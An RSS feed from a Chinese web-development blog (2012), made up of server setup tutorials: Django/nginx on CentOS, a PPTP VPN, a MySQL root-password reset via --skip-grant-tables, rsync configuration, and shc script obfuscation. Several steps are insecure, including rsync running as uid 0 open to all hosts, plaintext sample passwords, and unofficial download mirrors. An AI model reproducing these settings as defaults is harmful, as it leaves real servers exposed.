<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>吕滔博客|专注于互联网WEB开发技术与研究[分享网站建设资源]</title>
		<link>http://www.lvtao.net</link>
		<copyright>Copyright By 2010 http://www.lvtao.net All Rights Reserved.</copyright>
		<item>
			<title>centos 搭建nginx + python + django +memcached+ mysql +fastcgi 环境 配置教程</title>
			<author>memory</author>
			<description><![CDATA[    Django是一个开放源代码的Web应用框架,由Python写成,它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的。python+django也是web开发者最受欢迎的框架.今天记录下整个搭建开发环境的过程.(说明下环境的系统为 centos 5.2)
   一:更新yum仓库(目前这个yum源是最快的)

    [root@filerserver python]#cd /etc/yum.repos.d
    [root@filerserver python]#mv CentOS-Base.repo CentOS-Base.repo.save
    [root@filerserver python]#wget http://centos.ustc.edu.cn/CentOS-Base.repo.5
    [root@filerserver python]#mv CentOS-Base.repo.5 CentOS-Base.repo

  二:安装部分的开发包和更新

    [root@filerserver python]#yum check-update
    [root@filerserver python]#yum update
    [root@filerserver python]#yum install ntp iptraf sysstat screen subversion wget bzip2 nfs-utils vim-common
    [root@filerserver python]#yum install make gcc gcc-c++ libjpeg-devel libpng-devel zlib-devel tcl-devel freetype-devel libevent-devel openssl-devel db4-devel curl-devel pcre-devel ncurses-devel readline-devel sqlite-devel

三:安装Python

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/Python-2.5.4.tar.bz2
    [root@filerserver python]#tar xjvf Python-2.5.4.tar.bz2
    [root@filerserver python]#cd Python-2.5.4/
    [root@filerserver python]#./configure --enable-unicode=ucs4
    [root@filerserver python]#make
    [root@filerserver python]#make install

四:安装MySQL客户端

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/mysql-5.0.45.tar.gz
    [root@filerserver python]#tar zxvf mysql-5.0.45.tar.gz
    [root@filerserver python]#cd mysql-5.0.45
    [root@filerserver python]#CFLAGS="-O3" CXX=gcc CXXFLAGS="-O3 -felide-constructors \
                                           -fno-exceptions -fno-rtti" ./configure \
                                           --prefix=/usr/local/mysql --enable-assembler \
                                           --with-charset=utf8 \
                                           --with-extra-charsets=gbk,gb2312,latin1 \
                                           --without-debug \
                                          --with-client-ldflags=-all-static \
                                           --enable-thread-safe-client \
                                           --without-server
    [root@filerserver python]#make
    [root@filerserver python]#make install
    [root@filerserver python]#echo "PATH=/usr/local/mysql/bin:\$PATH" >> /etc/profile
    [root@filerserver python]#echo "export PATH" >> /etc/profile
    [root@filerserver python]#echo "/usr/local/mysql/lib/mysql" > /etc/ld.so.conf.d/mysql.conf
    [root@filerserver python]#ldconfig

五:安装memcached

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/memcached-1.2.6.tar.gz
    [root@filerserver python]#tar xzvf memcached-1.2.6.tar.gz
    [root@filerserver python]#cd memcached-1.2.6/
    [root@filerserver python]#./configure --prefix=/usr/local/memcached --enable-threads
    [root@filerserver python]#make
    [root@filerserver python]#make install

六:安装python setuptools

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/setuptools-0.6c9.tar.gz
    [root@filerserver python]#tar xzvf setuptools-0.6c9.tar.gz
    [root@filerserver python]#cd setuptools-0.6c9
    [root@filerserver python]#python setup.py install

七:安装django

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#svn co http://code.djangoproject.com/svn/django/trunk django-trunk #直接重django的SVN拿最新稳定安装包
    [root@filerserver python]#cd django-trunk
    [root@filerserver python]#python setup.py install

八:安装sqlalchemy

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#svn co http://svn.sqlalchemy.org/sqlalchemy/branches/rel_0_4
    [root@filerserver python]#cd sqlalchemy-0.4
    [root@filerserver python]#python setup.py install

九:安装MySQLdb

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/MySQL-python-1.2.2.tar.gz
    [root@filerserver python]#tar xzvf MySQL-python-1.2.2.tar.gz
    [root@filerserver python]#cd MySQL-python-1.2.2
    [root@filerserver python]#python setup.py install

十:安装Twisted

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/Twisted-8.2.0.tar.bz2
    [root@filerserver python]#tar xjvf Twisted-8.2.0.tar.bz2
    [root@filerserver python]#cd Twisted-8.2.0/
    [root@filerserver python]#python setup.py install

十一:安装python-memcached

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/python-memcached-1.44.tar.gz
    [root@filerserver python]#tar xzvf python-memcached-1.44.tar.gz
    [root@filerserver python]#cd python-memcached-1.44
    [root@filerserver python]#python setup.py install

十二:安装PIL

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/Imaging-1.1.6.tar.gz
    [root@filerserver python]#tar xzvf Imaging-1.1.6.tar.gz
    [root@filerserver python]#cd Imaging-1.1.6
    [root@filerserver python]#python setup.py install

十三:安装flup

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/flup-1.0.1.tar.gz
    [root@filerserver python]#tar xzvf flup-1.0.1.tar.gz
    [root@filerserver python]#cd flup-1.0.1
    [root@filerserver python]#python setup.py install

十四:安装simplejson

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/simplejson-2.0.9.tar.gz
    [root@filerserver python]#tar xzvf simplejson-2.0.9.tar.gz
    [root@filerserver python]#cd simplejson-2.0.9
    [root@filerserver python]#python setup.py install

十五:安装nginx

    [root@filerserver python]#cd /usr/local/src
    [root@filerserver python]#wget http://www.dbasky.net/tool/python/nginx-0.7.51.tar.gz
    [root@filerserver python]#tar xzvf nginx-0.7.51.tar.gz
    [root@filerserver python]#cd nginx-0.7.51
    [root@filerserver python]#./configure --prefix=/usr/local/nginx \
                                           --with-md5=/usr/lib \
                                           --with-sha1=/usr/lib \
                                           --with-http_ssl_module \
                                           --with-http_stub_status_module \
                                           --without-mail_pop3_module \
                                           --without-mail_imap_module \
                                           --without-mail_smtp_module \
                                            --with-http_realip_module
    [root@filerserver python]#make
    [root@filerserver python]#make install
到此这个环境搭建完成,这边说明我们为了提高架构的稳定性,可以在中间层加入个缓存数据库]]></description>
			<link>http://www.lvtao.net/html/1887.html</link>
			<pubDate>2012-02-22, 14:20:27</pubDate>
		</item>
		<item>
			<title>使用shc 加密你的linux shell脚本</title>
			<author>memory</author>
			<description><![CDATA[Shell 在Linux 系统中的强大有目共睹，每个管理员都是自己写的一组shell 来简化自己的工作，有时我们会把自己写的shell 让别人用，但这时有一个麻烦的地方，就是shell 里包含一些敏感信息如帐号密码等，这时我们需要一个工具–shc 把我们的shell 加密。

shc是一个脚本编译工具, 使用RC4加密算法, 它能够把shell程序转换成二进制可执行文件(支持静态链接和动态链接)。
shc主页:

http://www.datsi.fi.upm.es/%7Efrosal/


安装shc
大部分的系统都在自己的源中提供shc 的二进制安装包，如果不幸你的系统中没有则可以去软件主页下载源码包自己安装。
源码安装：
 wget http://www.datsi.fi.upm.es/%7Efrosal/sources/shc-3.8.7.tgz
 tar vxf shc-3.8.7.tgz
 cd shc-3.8.7
 make test
 make strings
 make install
shc的使用方法:

shc -v -f myshell.sh  #-f 为要加密的shell

运行后会生成两个文件: myshell.sh.x 和 myshell.sh.x.c
shc -r -f.x 为可执行的二进制文件，myshell.sh.x.c为该文件的C原文件。]]></description>
			<link>http://www.lvtao.net/html/1886.html</link>
			<pubDate>2012-02-22, 13:59:40</pubDate>
		</item>
		<item>
			<title>图文教程之XP如何修改本地DNS信息</title>
			<author>memory</author>
			<description><![CDATA[最近部分客户的网站的打不开了,但我可以，我检查了一下，国内联通的DNS问题，哎差就懒得说了。。。不过只要修改本机的dns，就可以避免这个问题。
把本机的dns修改为谷歌的域名(DNS)服务器即可。
本站推荐首选 DNS 服务器 8.8.8.8备选 DNS 服务器 8.8.4.4
Windows XP 系统下更改DNS服务器
1.       右击：桌面上的“网上邻居”，点击：属性

[img]/attachment/day_120222/201202221246098124.jpg[/img]

2.       右击：本地连接，选择：属性

[img]/attachment/day_120222/201202221246195306.jpg[/img]

双击：Internet 协议

[img]/attachment/day_120222/201202221246265453.jpg[/img]

一、如果全部是：自动获得；那么只更改下面的：自动获得DNS服务器地址;更改为：自己本省的DNS服务器（具体DNS服务器详见：全国DNS服务器地址表）

更改前：

[img]/attachment/day_120222/201202221246356368.jpg[/img]

更改后：

[img]/attachment/day_120222/201202221246437828.jpg[/img]

二、如果是：使用下面的IP地址.那么只更改下面的使用下面的DNS服务器地址；

本站推荐首选 DNS 服务器 8.8.8.8

备选 DNS 服务器 8.8.4.4

[img]/attachment/day_120222/201202221246519687.jpg[/img]

然后点击确定。]]></description>
			<link>http://www.lvtao.net/html/1885.html</link>
			<pubDate>2012-02-22, 12:47:18</pubDate>
		</item>
		<item>
			<title>VPN 之 PPTP的一些设置.</title>
			<author>memory</author>
			<description><![CDATA[CENTOS加载MPPE[MICROSOFT的加密协议]

wget http://poptop.sourceforge.net/yum/stable/packages/dkms-2.0.17.5-1.noarch.rpm
wget http://poptop.sourceforge.net/yum/stable/packages/kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm
rpm –ivh dkms-2.0.17.5-1.noarch.rpm
rpm –ivh kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm

安装rpmbuild

rpm -ivh elfutils-0.125-3.el5.i386.rpm
rpm -ivh elfutils-0.125-3.el5.i386.rpm
rpm -ivh rpm-build-4.4.2-37.el5.i386.rpm

PPTP服务包，必需要装的

poptop原码包：

wget http://ncu.dl.sourceforge.net/sourceforge/poptop/ppp-2.4.3-5.src.rpm

1种方法：rpmbuild –-rebuild XXXXX.src.rpm

来直接把源代码rpm包编译成普通的二进制rpm包，执行上述命令后，可以到/usr/src/RedHat/RPMS /i386目录下找到可用的二进制rpm包。

2种方法：直接用rpm –ivh来安装的，会在/usr/src/RedHat/SOURCES 目录下找到一个tar.gz打包的源代码。自己手工解包编译安装。

wget http://poptop.sourceforge.net/yum/stable/packages/ppp-2.4.4-3.1.rhel5.i386.rpm

rpm –uvh ppp-2.4.4-3.1.rhel5.i386.rpm

wget http://poptop.sourceforge.net/yum/stable/packages/pptpd-1.3.4-1.rhel5.1.i386.rpm

rpm –ivh pptpd-1.3.4-1.rhel5.1.i386.rpm

Pptp的配置：

Vi /etc/pptpd.conf

找到最上面：

Localip 192.168.1.10          你的服务的IP

Remoteip                              分配VPN用户的IP段….比如192.168.0.1-100

启动VPN

Service pptpd start

停止

Service pptpd stop

Vi /etc/ppp/chap-secrets

在最下面插入新行:

用户名 服务名 密码 IP

Admin pptpd admin 192.168.1.252 –多人使用IP改成*

右击网上邻居>>>属性>>>创建一个新的连接>>>连接到我的工作场所的网络>>虚拟专用连接>>公司名你自己输入>>输入VPN的IP>>完成

连接上之后,不能上网.

Mkdir /usr/local/vpn

Vi /usr/local/vpn/vpn.sh

里面输入如下:

#!/bin/sh
iptables -t nat -F
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -j SNAT –to 192.168.2.140
echo 1 > /proc/sys/net/ipv4/ip_forward

运行sh:
/usr/local/vpn.sh
开机自动运行
Cp /usr/local/vpn.sh /etc/rc.d/vpn.sh
[newpage]

反DNS劫持

只用VPN技术，能上大部分网站，有极少网站上不去。因为这些网站的域名DNS被劫持了，比如twitter, youtube, facebook等。

浏览器在进行DNS解析的时候，往往不走代理。所以如果DNS解析被劫持了，还是不能成功访问。

还好，Firefox浏览器有个选项可以让DNS解析也走代理，在Firefox的地址栏里面输入：about:config，然后在过滤器里面输入dns，就能看到network.proxy.socks_remote_dns，默认值是false，在这上面点击右键，选择“切换”，这个值就修改成true了。修改成true之后，就可以在Firefox中访问这些网站了。遗憾的是IE中好像没有选项让DNS解析走代理。
[newpage]
美国VPS的一大用途就是做为加密的VPN服务器，在国内连上这些VPN服务器就可以无限制访问互联网。常用的VPN服务器一般分两种，一种是SSL VPN，代表软件有openvpn，这个VPN软件有Windows下的客户端软件；另外一种是pptpd VPN，Windows自带这种VPN的客户端支持。本文记录了在CentOS 5 VPS下安装pptpd VPN服务器的过程。
内核支持

pptpd VPN需要内核支持mppe，我们的VPS自带的内核已经把mppe编译进去了，没有把mppe另外当作内核的模块。
软件安装

要安装pptpd VPN，ppp和iptables这两个软件是必须安装的，安装命令：

yum install -y ppp iptables perl

然后下载pptpd的rpm包：

32位 http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.i386.rpm
64位 http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.x86_64.rpm

要注意64位的系统要下载64位的rpm包，32位的系统要下载32位的rpm包，别搞错了

64位系统安装命令：

rpm -ivh pptpd*.x86_64.rpm

32位系统安装命令：

rpm -ivh pptpd*.i386.rpm
编辑配置文件 /etc/ppp/options.pptpd 内容如下：

name pptpd
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
proxyarp
lock
nobsdcomp
novj
novjccomp
nologfd
ms-dns 208.67.222.222
ms-dns 208.67.220.220

编辑配置文件 /etc/pptpd.conf 内容如下：

option /etc/ppp/options.pptpd
logwtmp
localip 192.168.92.1
remoteip 192.168.92.11-15

编辑配置文件 /etc/ppp/chap-secrets,配置用户名为johndoe，密码为password，内容如下：

johndoe pptpd password *

修改配置文件/etc/sysctl.conf中的相应内容如下：

net.ipv4.ip_forward = 1

配置iptables:

iptables -t nat -A POSTROUTING -o eth0 -s 192.168.92.0/24 -j MASQUERADE
iptables -I FORWARD -p tcp --syn -i ppp+ -j TCPMSS --set-mss 1356
/etc/init.d/iptables save
/etc/init.d/iptables restart
设置iptables和pptpd开机自动启动：

chkconfig pptpd on
chkconfig iptables on

然后运行reboot重新启动即可]]></description>
			<link>http://www.lvtao.net/html/1884.html</link>
			<pubDate>2012-02-22, 00:18:19</pubDate>
		</item>
		<item>
			<title>修改WDCP管理面板后台密码及mysql root 账号密码方法</title>
			<author>memory</author>
			<description><![CDATA[忘记后台密码的修改方法
1 生成密码的md5值
执行
/www/wdlinux/php/bin/php -r 'echo md5("wdlinux.cn");'
会生成类似如下的一串字符(把wdlinux.cn替换成你的密码)
7e537d80319ad455cf42057d10157a73

2 打开后台的phpmyadmin,如
http://ip:8080/phpmyadmin
进入wdcpdb数据库,打开wd_sys表
替换adm_pass后面的字符串
执行,保存

3 删除/www/web/wdcp/data/wd_sys.php
rm -f /www/web/wdcp/data/wd_sys.php

再登录,就可以了


忘记mysql root密码的恢复方法
首先停止mysql
service mysqld stop

然后用下在方式启动
/www/wdlinux/mysql/bin/mysqld_safe --skip-grant-tables &

然后进入mysql时执行下面的语句
/www/wdlinux/mysql/bin/mysql -uroot -p
没有密码，直接回车

然后执行
mysql> use mysql;
mysql> update user set password=password("wdlinux.cn") where user="root";
把上在的wdlinux.cn改成相应的密码
mysql> flush privileges;
mysql>exit
修改完成
停止mysql的运行
killall -9 mysyqld

再用普通的方式启动mysqld,如
service mysqld start
完成

相应的wdcp的后台也要相应的修改

mysql里wdcp用户的密码信息
查看文件 /www/web/wdcp/data/db.inc.php
如
cat /www/web/wdcp/data/db.inc.php]]></description>
			<link>http://www.lvtao.net/html/1883.html</link>
			<pubDate>2012-02-21, 13:50:51</pubDate>
		</item>
		<item>
			<title>windows2003/XP VPS 服务器修改administrator 账号密码图文教程</title>
			<author>memory</author>
			<description><![CDATA[windows2003 VPS 服务器修改administrator 账号密码图文教程
右击“我的电脑”
[img]/upload/files/20120221/2012122132-nSYLKaZItV.png[/img]
选择“管理”
[img]/upload/files/20120221/2012122138-bXMbiYhVFm.png[/img]
点开 ”计算机管理(本地)“ - “系统工具” - “本地用户和组” - "用户"
右侧窗口选择你要修改的账号 不建议修改其它WEB服务账号密码，否则你会很麻烦的.
[img]/upload/files/20120221/2012122335-OjK1ijuXd3.png[/img]
在账号上右击 “设置密码”
[img]/upload/files/20120221/2012122424-nsD9BvU0WP.png[/img]
点击“继续”
[img]/upload/files/20120221/2012122439-ifPiTZyAPh.png[/img]
输入你的新密码 “确定”
[img]/upload/files/20120221/2012122456-8ERTLE1X94.png[/img]
完成了.下次登陆就要使用新密码啦.]]></description>
			<link>http://www.lvtao.net/html/1882.html</link>
			<pubDate>2012-02-21, 12:25:26</pubDate>
		</item>
		<item>
			<title>骑士人才网 74cms2.2 系列 nginx 伪静态</title>
			<author>memory</author>
			<description><![CDATA[官方一直不给提示有nginx的信息。没办法，自己花了点时间修改整理了一个

	rewrite ^/index.htm$ /index.php last;
	rewrite ^/jobs.htm$ /jobs.php last;
	rewrite ^/jobs-show-([0-9]+).htm$ /jobs-show.php?id=$11 last;
	rewrite ^/company-show-([0-9]+).htm$ /company-show.php?id=$1 last;
	rewrite ^/company-map-([0-9]+).htm$ /company-map.php?id=$1 last;
	rewrite ^/famous.htm$ /famous.php last;
	rewrite ^/resume.htm$ /resume.php last;
	rewrite ^/resume-show-([0-9]+).htm$ /resume-show.php?id=$1 last;
	rewrite ^/news.htm$ /news.php last;
	rewrite ^/news-list-([0-9]+)-([0-9]+).htm$ /news-list.php?id=$1&page=$2 last;
	rewrite ^/news-show-([0-9]+).htm$ /news-show.php?id=$1 last;
	rewrite ^/explain-show-([0-9]+).htm$ /explain-show.php?id=$1 last;

希望对大家有用]]></description>
			<link>http://www.lvtao.net/html/1881.html</link>
			<pubDate>2012-02-19, 12:25:17</pubDate>
		</item>
		<item>
			<title>利用.htaccess屏蔽指定域名或允许否个域名访问网站</title>
			<author>memory</author>
			<description><![CDATA[独立服务器，在分配独立IP到一个站点，并开放IP直接访问后，任何域名只要指向该IP，无需设置解析，边可直接访问。如果你的网站PR比较高，可能会有人恶意将域名解析过去，这样对自己的SEO比较不利。

　　如果您的服务器是PHP下，且支持.htaccess设置，可以在.htaccess加上以下语句：

　　1.除了lvtao.net以外的所有域名都可以访问（屏蔽lvtao.net域名）：

　　# allow all except those indicated here
　　<Files *>
　　order allow,deny
　　allow from all
　　deny from .*lvtao\.net.*
　　</Files>

　　2.只有lvtao.net可以访问（屏蔽除lvtao.net以外的域名）：

　　# Deny access to everyone, except those listed here:
　　<Files *>
　　order deny,allow
　　deny from all
　　allow from .*lvtao\.net.*
　　</Files>
]]></description>
			<link>http://www.lvtao.net/html/1880.html</link>
			<pubDate>2012-02-19, 12:13:43</pubDate>
		</item>
		<item>
			<title>为你的网站打造透明的favicon.ico 图文教程</title>
			<author>memory</author>
			<description><![CDATA[很多人说专业的网站一定需要favicon.ico图标，不过favicon.ico图标对于我来说只是为了好看，其实现的效果如下图（你可以看见在浏览器标签以及收藏夹中红色框标注的地方，网站标题前都会有一个与LOGO一样的小图标，这就是favicon.ico图标）：
网站ico图标
[img]/upload/files/20120219/2012014647-Cud1ETZY10.png[/img]
不过，你现在看到的是背景透明的favicon.ico图标，这样不管浏览器的背景色如何改变，我们都能保证与主题色一致，但是如果按照常规的做法，在ico图标在线制作网站上进行直接转换，favicon.ico图标的背景色只会是白色，哪怕你用的源文件是背景透明的png或者gif格式都不行。
于是我折腾了很久终于找到制作透明背景favicon.ico图标的方法：

首先你要用PS做出格式为png或者gif背景透明的图标图片，大小为16×16、32×32都可以（单位是像素），命名为favicon；

然后你需要去下载一款名为“Axialis IconWorkshop”的图标制作工具，此款工具你可以自己搜索一下，网上很多绿色版；
用Axialis IconWorkshop打开已经做好的图标文件（我以png格式为例）：
[img]/upload/files/20120219/2012014815-2CkN1hWjM1.png[/img]
点击如下图红色方框标注的按钮：
[img]/upload/files/20120219/2012014841-VqAKsakwvB.png[/img]
这时你就会来到“从图像创建Windows图标”的窗口，将图标项目名命名为“favicon”，根据你的需求选择“32×32-RGBA”或者“16×16-RGBA”（就我看来32×32-RGBA会比较清楚），然后点击确定，如下图所示：
[img]/upload/files/20120219/2012014913-quWFe79T6G.png[/img]
最后点击选择菜单栏上的“文件”→“另存为”ico格式的图标即可，如下图：
[img]/upload/files/20120219/2012015008-nxS9xGPtEq.png[/img]
这时候你回到桌面会看见favicon.ico图标仍然有白色的背景，不用担心，这只是显示问题，实际上此时的favicon.ico图标已经是透明背景啦，你传到服务器里，再清除一下浏览器的缓存看看效果吧。]]></description>
			<link>http://www.lvtao.net/html/1879.html</link>
			<pubDate>2012-02-19, 01:50:25</pubDate>
		</item>
		<item>
			<title>Windows下cwRsync搭建步骤</title>
			<author>memory</author>
			<description><![CDATA[CwRsync是基于cygwin平台的rsync软件包，支持windows对windows、windows对Linux、Linux对 windows高效文件同步。由于CwRsync已经集成了cygwin类库，因此安装的时候可以省去cygwin包。Cwrsync还集成了 OpenSSH for windows，可以实现Linux 下Rsync一模一样的操作。详细配置步骤如下：
一、服务器端安装配置
1、下载服务端安装文件http://www.xiazaiba.com/html/4325.html
   服务端是安装在“需要被同步的数据所在的服务器”
   
2、安装服务端
默认一直下一步；到下图所示
[img]/upload/files/20120218/2012083957-9ZeZKuWVv0.jpg[/img]
这一步很重要，可以说是cwRsync安装成功与否的关键。这一步会在当前系统下生成  SvcCWRSYNC 一个账户，用来启动RsyncServer服务。建议这个对此账户的密码进行重新设置，从新设置密码后，需要在服务中更改，否则  RsyncServer服务 不能启动
程序自动设置程序目录可修改的权限，因为需要写日志文件。
配置文件默认在程序的安装目录下，默认是  C:\Program Files\ICW
3、修改配置文件rsyncd.conf
use chroot = false
strict modes = false
hosts allow = *
log file = rsyncd.log
# Module definitions
# Remember cygwin naming conventions : c:\work becomes /cygwin/c/work
#
[test]
path = /cygdrive/c/work
read only = false
transfer logging = yes
修改配置内容如下，参数解释： 
use chroot = false # 不使用chroot 
strict modes = false #使用静态模式
pid file = rsyncd.pid # 日志记录文件
log file = rsyncd.log # 日志记录文件 
[test] # 这里是认证的模块名，在client端需要指定 
path = /cygdrive/e/bak # 需要做镜像的目录，如e/bak（此目录需要给  SvcCWRSYNC 账户的读取权限）
transfer logging = yes # 记录传输日志
read only = yes # 只读
list = no # 不允许列文件
hosts allow = 192.168.0.0/255.255.252.0 
hosts deny = * # 禁止除192.168.1.0/255.255.255.0段外的连接IP
uid = 0 #解决运行后的@ERROR: invalid uid 错误
gid = 0 #解决运行后的@ERROR: invalid gid 错误 
lock file = rsyncd.lock #解决文件被锁定无法复制问题
#auth users = SvcCWRSYNC # 认证的用户名，这里没有这行，则表明是匿名 #secrets file = /cygdrive/c/pass/rsync.passwd # 认证文件名
创建认证文件 c/pass/rsync.passwd 内容格式：用户：密码，如SvcCWRSYNC:star888 启动RsyncServer服务并保证开机自动重启，服务器端配置完毕。 
二、客户端安装配置
1、下载客户端安装文件http://www.xiazaiba.com/html/4326.html  
2、安装 
一直下一步，安装完成。
3、cwRsync客户端不需要很复杂的配置,需要设置环境变量path:c:\Program Files\cwRsync\bin
4、通过命令建一个批处理
@echo off #没有密码
set RSYNC_HOME=c:\Program Files\cwRsync\bin
cd %RSYNC_HOME%
d:
rsync -av rsync://192.168.2.242/test /cygdrive/e/test 
@echo off  #需要密码
set RSYNC_HOME=c:\Program Files\cwRsync\bin
cd %RSYNC_HOME%
d:
rsync -avzP --progress --delete --password-file=/cygdrive/c/pass/rsync.passwd SvcCWRSYNC@192.168.2.242::test /cygdrive/e/test
意思是将192.168.2.242的服务端下的test模块下的e:\bak目录同步到客户端的e:\test下
命令参数解释：
-avzP
-a 参数，相当于-rlptgoD，-r 是递归 -l 是链接文件，意思是拷贝链接文件；-p 表示保持文件原有权限；-t 保持文件原有时间；-g 保持文件原有用户组；-o 保持文件原有属主；-D 相当于块设备文件；
-z 传输时压缩；
-P 传输进度；
-v verbose，详细模式输出
-u是只同步已经更新的文件，避免没有更新的文件被重复更新一次，不过要注意两者机器时钟的同步
--progress
显示备份过程
--delete
删除那些DST中SRC没有的文件
--password-file
指定密码文件，只需包含密码而不用包含用户名
SvcCWRSYNC@192.168.2.242::test
SvcCWRSYNC 登陆服务器端的用户名　　
192.168.2.242 服务器端的ip地址
test 服务器端指定的认证模块名，多个同步作业靠此模块名区分　　
/cygdrive/e/test
存放服务器端同步文件的本地目录
4、配置系统作业，运行脚本选择rsync.bat，客户端配置完毕]]></description>
			<link>http://www.lvtao.net/html/1878.html</link>
			<pubDate>2012-02-18, 20:40:12</pubDate>
		</item>
		<item>
			<title>windows linux 使用cwrsync文件同步配置及一般错误解决</title>
			<author>memory</author>
			<description><![CDATA[服务器端：
http://rsync.samba.org/ 服务器端（cwRsyncServer）。
安装目录： E:\cwRsyncServer
端口： 52326
ip: 219.152.120.82

一：修改cwRsyncServer配置文件 E:\cwRsyncServer\rsyncd.conf
#########
port = 52326
use chroot = false
strict modes = false
read only = yes
list = no
hosts allow = *
max connections = 10
secrets file = rsyncd.secrets #指定用户登录的密码文件
motd file = rsyncd.motd #连接上rsync server时显示的欢迎信息
log file = rsyncd.log
pid file = rsyncd.pid
transfer logging = yes

# Module definitions
# Remember cygwin naming conventions : c:\work becomes /cygwin/c/work
#
[test]
path = /cygdrive/c/work
read only = false
transfer logging = yes

[t_task]
path = /cygdrive/c/work
read only = false
transfer logging = yes
#################################
二：在E:\cwRsyncServer目录下新建密码文件 rsyncd.secrets 内容为用户名：密码
如： tly:fjs249slke
客户端：
http://rsync.samba.org/ 下载cwRsync客户端（cwRsync）
安装目录： E:\cwRsync
三：在E:\cwRsyncServer目录下新建密码文件 rsyncd.secrets 内容为密码
如：fjs249slke
四：开始–>运行–>cmd 输入以下命令即可同步服务器端t_task模块到客户端e:/y目录下。
E:\cwRsync\bin\rsync.exe -vazu –exclude article/ –progress –delete –

password-file=E:\cwRsync\rsyncd.secrets

rsync://odinxu@219.152.120.82:52326/t_task /cygdrive/e/y

照做可同步服务了，如果不行，1.检查服务器是否有开服务端口，命令行输入( netstat -a ) 可查看服务器开的端口。就是上面的52326端口。2.客户端命令行输入( telnet 服务端ip 服务端口 ) 能否连接服务器端。3.检查配置文件是否跟上面一样。

注：以上为匿名连接入服务器端，一般会在模块里添加 auth user= odinxu 指定用户，一定要注意，指定的用户必须要登陆才能进行同步服务。 我在这里掐了很久，模块里指定了用户，用户又没有登陆，导致出错。

新手常出现的错误：

错误1: rsync: read error: Connection reset by peer (104)
rsync error: error in rsync protocol data stream (code 12) at io.c(794) [receive
r=3.0.2]

解决：很大可能是服务器端没有开启 rsync 服务。开启服务。

错误2：@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at main.c(1495) [rec
eiver=3.0.2]

解决：服务器端同步目录没有权限，cwrsync默认用户是Svcwrsync。为同步目录添加用户Svcwrsync权限。

错误3：@ERROR: failed to open lock file
rsync error: error starting client-server protocol (code 5) at main.c(1495) [rec
eiver=3.0.2]

解决：配置文件 rsync.conf中添加 lock file = rsyncd.lock 即可解决。

cwrsync invalid uid nobody 解决
使用rsync/cwrsync工具进行档案同步的时候出现了下面的错误：
rsync -arvp 10.10.10.10::demo /cygdrive/f/rsyncsvn/jiaozhenqing
@ERROR: invalid uid nobody
rsync error: error starting client-server protocol (code 5) at main.c(1506) [Receiver=3.0.7]
解决办法：在rsyncd.conf文件中目录区域添加下面两行即可解决问题
UID = 0
GID = 0]]></description>
			<link>http://www.lvtao.net/html/1877.html</link>
			<pubDate>2012-02-18, 20:38:42</pubDate>
		</item>
		<item>
			<title>Nginx for windows 0.7.61 /PHP配置</title>
			<author>memory</author>
			<description><![CDATA[nginx [engine x] 是由 Igor Sysoev开发的一个HTTP 服务器和mail 代理服务器软件.虽然刚刚发布两年多, Nginx 因其稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。Nginx 超越Apache的高性能和稳定性，使得国内使用 Nginx 作为 Web 服务器的网站也越来越多，其中有新浪、网易、腾讯等门户网站，六间房、酷6等视频分享网站，Discuz!、水木社区等知名论坛，豆瓣、YUPOO等新兴Web 2.0网站。Nginx 在国内的应用正在不断发展壮大！新近发现Nginx 应用在国内越发火热了，很多网站都开始转向Nginx 了。

偶发布该文章大半年了，有很多朋友看过这篇安装向导，今天偶要更新下，毕竟Nginx 官方正式发布windows 版本的了。----2009年6月22日，这天Nginx for windows 0.7.61发布了！

首先，先到这儿下载官方的nginx for Windows 版本，并到PHP 官方下载php；

第二，解压下载好的nginx压缩包（假如放到到了D:\server\server），然后以Fastcgi 模式安装php 到D:\sever\php5 ,接下来就是nginx 配置啦。

下面这张截图内容就是我的nginx 配置单：
[img]/upload/files/20120218/2012083559-ZgTSyWAZoH.jpg[/img]
上图中用黑线标注起来的，是nginx php 配置的关键部分。关于PHP 的配置，这个大家应该都会了，如果不会,请自己查找资料看看吧。

第三，启动nginx 服务器，再启动php 的FasCGI sever 。关于php FastCGI server 可以使用以下命令：

       php-cgi.exe -b 127.0.0.1:9000 -q

这样做，缺陷是命令行窗口一直打开，若关闭那FastCGI server 也关闭啦。到网上下载RunHiddenConsole.exe 可以使命令行窗口隐藏啦。(RunHiddenConsole.exe下载页面 )

       RunHiddenConsole.exe php-cgi.exe -b 127.0.0.1:9000 -q

你也可以写一个批处理来做这件事：

       @echo off
       start /min RunHiddenConsole.exe php-cgi.exe -b 127.0.0.1:9000 -q

最后，就是写一个简单PHPINFO 来验证PHP 是否工作正常啦。

下面是我写的一个CMD 批处理Start.cmd，可以同时启动Nginx 和PHP FastCGI ，仅供参考使用。

            @echo off
            REM "正在启动Nginx 服务器........"
            cd nginx
            start nginx
             cd ..
            REM "开始启动PHP FastCGI........."
            cd php5
            start RunHiddenConsole.exe php-cgi.exe -b 127.0.0.1:9000

接下来是一个简单的关闭Nginx 和PHP FastCGI 的脚步Stop.cmd ：

           @echo off
           taskkill /f /im nginx.exe
           taskkill /f /im php-cgi.exe]]></description>
